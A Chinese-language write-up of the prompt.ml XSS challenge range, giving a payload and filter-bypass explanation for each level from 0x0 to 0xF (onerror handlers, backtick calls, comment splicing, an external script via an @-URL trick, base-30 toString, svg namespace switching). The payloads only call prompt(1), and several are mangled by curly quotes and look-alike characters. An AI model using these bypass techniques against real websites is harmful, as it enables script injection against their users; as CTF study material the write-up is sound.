使用的靶场网址:http://prompt.ml/0

0x0


这关没有任何的过滤,就直接闭合输出就行,但是后面多余的引号和尖括号需要注释掉。

a"><!–

0x1


这一关过滤掉了以尖括号包裹着的所有字符,所以script这种标签就用不了了。所以可以尝试使用img标签。

<img type=“image” src=1 οnerrοr=prompt(1)//

0x2


这一关将这**“[”“(”**两个符号进行了过滤,所以就没有办法使用,可以使用反引号来代替括号。

<script>eval.call`${‘prompt\u00281)’}`</script>

0x3


这一关是将注释符号给过滤成了下划线,同样也是一个小技巧,也可以使用“–!>”来进行注释。

–!><script>prompt(1)</script><!–

0x4


这一关必须以**http://prompt.ml/**为开头才可以进行输入,可以使用@符号来连接外部文档来进行绕过。注意的是,可能在写的过程中,/可能不会被识别,换成编码的形式就可以了。

http://prompt.ml%2f@localhost/test.js


test.js文件里面就写一个prompt(1)就可以了。

0x5


这一关也是将>和以on开头,=结尾的字符给换成了=号,所以利用换行就可以了。

1"type="image"src=1 onerror
=“prompt(1)”

0x6


这个例子说了,要输入一个形状向** http://httpbin.org/post#{“name”:“Matt”}的语句,并且这个#号将这一串分成了一个数组。然后这个fromURL取这个数组的第0位,然后formdata取数组的第一位;也就是说,如果输入的是 http://httpbin.org/post#{“name”:“Matt”}那么数组0就是: http://httpbin.org/post**,数组1就是:{“name”:“Matt”}。然后创建了from元素,并且将URL给了fronaction,模式写为post;然后对fromData做了循环,然后创建了一个i,并且让input.name=i,这个i就是fromdata对象里的key值,也就是name,然后给value赋值为fromData的值,也就是Matt。以上这些步骤就相当于创建了一个from表单。然后就是查看你一个表单,并且使用action,也就是如果你这个表单里不包含script或者data的话,就输出,如果有的话,就返回下面那一句话。
但是正产情况下使用javascript:prompt(1)的时候,他是可以输出的,但是在这里,他没有办法绕过那个判断;可以使用action来盖住刚刚那个action,也就是如果action的值相同的时候,后一个会把前一个给覆盖掉。所以这一关就是使用后一个action将前一个action的特性给覆盖掉。

javascript:prompt(1)#{“action”:“aaaaa”}

0x7


这一个也给你举例了一个输出的格式形如dog#cat#bird#mouse…,并且这个对每一个p标签都进行了一个字符限制,不可以超过12个字符,这样就可以使用注释的方式,将多余的内容给注释掉,剩下的就可以拼凑成想要的样子。

"><\script>/#/prompt(/#/1)/#/</script>


这里就相当于第一个注释符注释的是
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>“></p>
第二个注释的内容是:
<p class=“comment” title=”“><script>/*”></p>
<p class=“comment” title=“*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*”></p>
<p class=“comment” title=“*/</script>”></p>
第三个注释的内容是:
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>"></p>
最后拼成的就是:"><script>prompt(1)</script>

0x8


这里的\r\n的意思是换到下一行的时候从开头开始输入。
然后这一关,将这个给过滤掉为空了。并且把
<,/ 和‘"’ 给过滤掉了。这就用到了js的一个只是点:直接输入u2028和u2029

javascript字符串允许直接输入字符,以及字符的转义形式。但是javascript中有5个字符规定了不能在字符串中直接使用,只能使用他们的转义形式

  1. u005c:反斜杠
  2. u000D:回车
  3. u0028:行分隔符
  4. u0029:段分隔符
  5. u000A:换行符

所以这个输入就是这样式的:

将下面的复制,粘贴到答案上就可以了。

0x9


这一关是将以<开头并且后面接字母的都变成了<后面接一个下划线,并且字母全部变为大写。那就不让<后面接字母,可以使用ſ转换为s。如果出不来,换个浏览器试试。

<ſcript src=“http://127.0.0.1/test.js”></ſcript>

0xA


这一关将prompt过滤成了alert,并配还把单引号给注释掉了,这就给我们使用了一个方便,也就是我们可以使用单引号将prompt给分开,反正单引号也会被省略。

pro’mpt(1)

0xB


这一关使用了一个小技巧,

"(prompt(1))in"使用这个可以进行弹窗。

0xC


这一关也是将单引号忽略了,然后将prompt转为了alert,但是不同的是,这是先过滤,在替换;这样就不可以了。
这里就可以使用一种函数,就是相当于将英文转换为十进制树数

eval(630038579…toString(30))(1)

parselnt:解析一个字符串并返回指定基数的十进制整数,并且进制数的范围是2-26.

但是我们在转换prompt的时候,在26之前是没有数的,显示的都是NAN,但是在26之后就有值了;这是因为他转换是由0-9+a-z组成的,而p是字母的第16位,然后加上前面的10个字符,就等于26,所以才从第26位开始,
这里可能不好理解,就好比十六进制,他的最大的字母F,f拍在第6位,加上前面那个就是16进制
为什么这里要写30进制,因为prompt最后一个字母是t,排在字母表的第20位置,加上前面的10个数就是30;如果使用小于30的数,就不包括了t,这样就不完整了。

0xF


这一关同样是给了输出格式,并且限制了p标签里的字符输入最大不超过15.并且他过滤掉了上一个使用的注释符号,但是可以使用<!-- -->注释方式,但是我使用和第7个处理方式一样的方法的时候,他没有成功,各中尝试之后,还是不成功,:

"><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>

但是加一个<svg>就可以了,因为在html中有三个命名空间,分别是html、svg和MathML,这三个空间可以进行转换,因为这句话在执行刚刚那个语句的时候,他是只有第一个注释符起了作用,其余的写在script标签里面的注释符是没有生效的,切换到svg空间是因为svg的语法规范是遵循XML语句的,而XML中是支持<!-- 这样的编码,所以这是需要加入一个svg标签。

"><svg><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>


所以尝试了模板字符串的方式,结果成了

"><script>`${prompt(1)}`</script>

线上靶机prompt.ml相关推荐

  1. XSS靶场prompt.ml过关详解

    XSS靶场prompt.ml过关详解 前言 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x0A 0x0B 0x0C 0x0D 0x0E 0x0 ...

  2. 线上比赛中关于视觉AI组与信标组补充说明

    简 介: 本文给出了在第十六届全国大学生智能车竞赛中,线上比赛地区(广东省.山东省)AI视觉组以及信标组中补充的信息. 关键词: 智能车竞赛,AI视觉组,信标组 §01 AI视觉组   根据 第十六届 ...

  3. 安天365第二期线上交流

    安天365第二期线上交流 您的对手在看书!您的仇人在磨刀!知识改变命运,学习改变生活!安天365并入安全帮,将致力于安全技术的真正交流,我们是安全的开荒者,我们经历丰富,从事网络安全十六年,我们经历了 ...

  4. RPC 的超时设置,一不小心就是线上事故!

    作者 | 骆俊武 来源 | IT人的职场进阶(ID:BestITer) 上面这张监控图,对于服务端的研发同学来说再熟悉不过了.在日常的系统维护中,『服务超时』应该属于监控报警最多的一类问题. 尤其在微 ...

  5. 【线上讲座】如果转型为AI人工智能?

    [线上直播]人工智能大潮中如何驾稳自己职业的小船? ▼ 嘉宾:李烨 李烨简介  现为微软(Microsoft)高级软件工程师.曾在易安信(EMC)和太阳微系统(Sun Microsystems)任软件 ...

  6. 【线上直播】人机多轮对话的方法综述

    讲师:庞雨秾 讲师简介: 法狗狗法律人工智能技术总监,伦敦大学玛丽女皇学院认知科学硕士.专注于自然语言处理方面的研究与应用,负责研发了包括处理垂直于法律领域的智能咨询系统.分布式非结构化文本挖掘系统等 ...

  7. Google Summer of Code 2017 开放报名;交互式线上科学期刊 Distill 上线等 | AI 研习社周刊...

    各位周末好!对 AI 开发者来说,本周发生了不少大事值得关注,重点包括: ● 腾讯围棋 AI "绝艺" 11 连胜夺冠 UEC: ● 交互式线上科学期刊 Distill 上线: ● ...

  8. 线上基础问题排查常用手册

    线上基础问题排查常用手册 问题分类 业务问题 日志排查 代码逻辑排查 配置排查 性能问题 接口问题 JVM问题 Redis问题 MySQL问题 系统问题 实施手段 日志排查 阿里云 参考: https ...

  9. COMPUTEX 2021线上展首周热门趋势及议题

    台湾台北--(美国商业资讯)--2021年度台北国际电脑展(COMPUTEX)线上展正在火热进行中,并将持续至6月30日.主办单位台湾对外贸易发展协会(TAITRA)表示,#COMPUTEXVirtu ...

  10. 【线上直播】数据治理方案探索

    [线上直播]数据治理方案探索 讲师 魏战松  简介: 花名林冲,8年互联网.大数据.金融支付领域的项目设计开发经验,尤为擅长 JAVA项目开发,对金融支付领域要求的高性能,高可靠性,高安全性有深刻认识 ...

最新文章

  1. Linux之whereis、which、find、location的区别和用法
  2. 鸡啄米:添加控件变量
  3. oracle的读写过程,我在在oracle中统计读写量,用了v$filestat,操作过程如下,有些问题请问高手...
  4. 使用spark ml pipeline进行机器学习
  5. org.apache.maven.archiver.MavenArchiver.getManifest错误
  6. 快速上手Linux核心命令(三):文件和目录操作命令
  7. python jupyter
  8. js基础-20-js对象赋值时的key值问题
  9. 计算机教务管理系统ER图,医院病房管理系统ER图
  10. 【NLP】NLP数据标注工具汇总
  11. vue 高德地图搜索功能_vue高德地图搜索功能
  12. 个人第一次作业:阅读与准备作业
  13. VproC#混合编程,Basler相机加载显示实时图像
  14. HZAU 1001 Handing Out Candies
  15. 使用GDI/GDI+绘制到D3D9缓冲区的方法
  16. #优质代码# Map按Value降序排序,Value相同时按Key排序
  17. 【使用Unity开发Windows Phone上的2D游戏】(1)千里之行始于足下
  18. 关于SSML音频合成是否成功的判断
  19. mysql 中文截取_中文字符串截取
  20. html边框颜色不显示,关于html:Firefox中边框颜色显示不正确

热门文章

  1. JPinyin繁体相互转换
  2. vue 使用pug(详细说明)
  3. 架设NOD32升级服务器
  4. 概率分布介绍:泊松分布
  5. 计算机导论王玉龙,计算机导论王玉龙
  6. SpringMvc下载文件损坏
  7. 生日悖论分析python_Python数据分析养成记4——预测泰坦尼克号生存概率
  8. Material Design实战
  9. CHD 5.10 离线安装
  10. 小学计算机教育计划,2021年小学信息技术教学计划